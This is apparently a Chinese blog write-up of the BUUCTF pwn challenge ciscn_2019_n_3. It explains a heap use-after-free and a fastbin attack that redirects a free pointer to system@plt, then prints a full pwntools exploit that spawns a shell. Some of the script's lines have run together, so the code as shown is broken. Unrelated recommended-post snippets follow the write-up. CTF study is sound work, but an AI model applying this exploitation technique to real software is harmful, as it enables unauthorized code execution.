ciscn_2019_n_3

附件

步骤

  1. 例行检查,32位,开启了nx和canary保护

  2. 本地试运行一下,经典的堆题的菜单

    3.32位ida载入
    new(),申请了两个chunk,第一个chunk(13行)固定大小0xC,存放的是rec_int_print和rec_int_free函数的地址,第二个chunk(32行),是我们申请的chunk

    del()

    如果值是整数,直接 free chunk

    如果值是字符串,则 chunk 和存储字符串的 chunk 都要 free。注意这里只是进行了 free 操作,没有将指针置 0,存在uaf漏洞

    dump()

    调用rec_int_print或者rec_str_print函数打印

  3. 利用思路:
    由于本题将printf和free函数的指针都放在了申请的堆上,而且程序调用了system函数因此我们就不用double free来泄露libc基址了,我们可以利用fastbin的LIFO的机制,取得对存放指针的堆块的控制,修改free指针指向system@plt,触发 del 函数中的 free(*(ptr + 2)),即执行 system(’/bin/sh’),可以获取shell

首先申请两个chunk看一下大概的布局

new(0,2,'a'*10,0x88)
new(1,2,'b'*10,0x38)
new(2,1,0x41)
gdb.attach(p)

我们现在要利用 chunk 1 和 chunk 2 进行 fastbin attack 将 chunk 1 的 rec_str_free 覆盖为 system 的 plt 表

dele(1)
dele(2)
new(3,2,'bash'+p32(elf.plt['system']),0xc)



看到chunk1的rec_str_free地址已经被我们改成了system的plt表里的地址

接着把 /bin/sh 写入 chunk 1 的 string 对应的 chunk 中

new(4,2,'/bin/sh\x00',0x38)

然后执行dele(chunk1),本该是free(*(ptr + 2)),但是上方我们修改了free的地址,这里相当于执行 system(’/bin/sh’)

dele(1)

成功获取了shell

完整exp:

from pwn import *

#p=remote("node3.buuoj.cn",28200)
p = process("./ciscn_2019_n_3")
context.log_level = 'debug'
context.arch = 'x86' elf = ELF("./ciscn_2019_n_3") def new(idx,type,value,length=0):
p.recvuntil("CNote")
p.sendline(str(1))
p.recvuntil("Index")
p.sendline(str(idx))
p.recvuntil("Type")
p.sendline(str(type))
if type == 1:
p.recvuntil("Value")
p.sendline(str(value))
else:
p.recvuntil("Length")
p.sendline(str(length))
p.recvuntil("Value")
if length == 8:
p.send(value)
else:
p.sendline(value) def dele(idx):
p.recvuntil("CNote")
p.sendline(str(2))
p.recvuntil("Index")
p.sendline(str(idx)) def show(idx):
p.recvuntil("CNote")
p.sendline(str(3))
p.recvuntil("Index")
p.sendline(str(idx)) new(0,2,'a'*10,0x88)
new(1,2,'b'*10,0x38)
new(2,1,0x41)
#gdb.attach(p) dele(1)
dele(2)
new(3,2,'bash'+p32(elf.plt['system']),0xc)
#gdb.attach(p) new(4,2,"/bin/sh\x00",0x38)
dele(1) p.interactive()

[BUUCTF]PWN——ciscn_2019_n_3的更多相关文章

  1. [BUUCTF]PWN——babyheap_0ctf_2017

    [BUUCTF]PWN--babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个 ...

  2. (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016

    [buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...

  3. BUUCTF pwn一分题目

    因为以前做过一些题目,看见1分题目也不太多了,就想着,抓紧点把1分题都刷一下吧.所以开个帖子记录一下,题目简单的话就只贴exp了. [BJDCTF 2nd]secret 这里有一个输入可以进行溢出,n ...

  4. [BUUCTF]PWN——hitcontraining_uaf

    [BUUCTF]--hitcontraining_uaf 附件 步骤: 例行检查,32位,开启了nx保护 试运行一下程序,非常常见的创建堆块的菜单 32位ida载入分析,shift+f12查看程序里的 ...

  5. BUUCTF PWN部分题目wp

    pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...

  6. buuctf --pwn part2

    pwn难啊! 1.[OGeek2019]babyrop 先check一下文件,开启了NX 在ida中没有找到system.'/bin/sh'等相关的字符,或许需要ROP绕过(废话,题目提示了) 查看到 ...

  7. buuctf pwn wp---part1

    pwn难啊 1.test_your_nc 测试你nc,不用说,连上就有. 2.rip ida中已经包含了system函数: 溢出,覆盖rip为fun函数,peda计算偏移为23: from pwn i ...

  8. [BUUCTF]PWN——pwnable_hacknote

    pwnable_hacknote 附件 步骤: 例行检查,32位程序,开启了nx和canary保护 本地试运行看一下大概的情况,熟悉的堆的菜单 32位ida载入 add() gdb看一下堆块的布局更方 ...

  9. [BUUCTF]PWN——ciscn_2019_es_7[详解]

    ciscn_2019_es_7 附件 步骤: 例行检查,64位程序,开启了nx保护 本地试运行一下看看大概的情况 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出 看到系统调用和溢出,想 ...

随机推荐

  1. Javascript复制内容到剪贴板,解决navigator.clipboard Cannot read property 'writeText' of undefined

    起因 最近帮同事实现了一个小功能--复制文本到剪贴板,主要参考了前端大神阮一峰的博客,根据 navigator.clipboard 返回的 Clipboard 对象的方法 writeText() 写文 ...

  2. [cf1349E]Slime and Hats

    首先,当发现全场不存在黑色帽子时,显然所有人都知道其是白色帽子,即必然离开 当第一轮时,若第$n$个人发现前面$n-1$个人全是白色时,其自己必然是黑色,必然离开 而第二轮时,若第$n-1$个人发现$ ...

  3. 青龙+Nvjdc短信登陆对接Xdd-plus推送+Ninja CK登陆教程(11.23更新)

    一.准备工作 1.shh工具(powshell.gitbash等等) 2.购买一台云服务器(阿里云.腾讯云都可以) 3.安装宝塔面板 宝塔Linux面板安装教程 - 2021年8月18日更新 - 7. ...

  4. could not extract ResultSet

    使用jpa进行代码更新:update的时候发现代码出现了异常:could not extract ResultSet 在数据库看数据并没有更新,后发现更新操作需要加一个注解 注释:当设置nativeQ ...

  5. 职场工作方法论:目标管理SMART原则

    目标管理由管理学大师彼得·德鲁克在他的著作<管理实践>(The Practice of Management)一书中提出.SMART原则(Specific具体的, Measurable可衡 ...

  6. Codeforces 1553I - Stairs(分治 NTT+容斥)

    Codeforces 题面传送门 & 洛谷题面传送门 u1s1 感觉这道题放到 D1+D2 里作为 5250 分的 I 有点偏简单了吧 首先一件非常显然的事情是,如果我们已知了排列对应的阶梯序 ...

  7. expr计算字符串长度

    命令:expr length "quanzhiqinag" #!/bin/bash for N in quan zhi qiang do if [ `expr length $N ...

  8. linux—查看所有的账号以及管理账号

    用过Linux系统的人都知道,Linux系统查看用户不是会Windows那样,鼠标右键看我的电脑属性,然后看计算机用户和组即可. 那么Linux操作系统里查看所有用户该怎么办呢?用命令.其实用命令就能 ...

  9. ubuntu终端ls颜色配置

    buntu中没有LS_COLORS,/etc/目录中也没有DIR_COLORS,所以这里使用dircolor命令加以解决 1. 利用dircolors命令,查看我们的系统当前的文件名称显示颜色的值,然 ...

  10. nrf51822 RAM不足分析

    之前了解过STM32 的内存分配问题,对于蓝牙芯片51822的内存分配问题把项目中,遇到了.bss和.data部分超了的问题,这其实就是声明的变量和stask 及 heap的大小总和超出了单片机的RA ...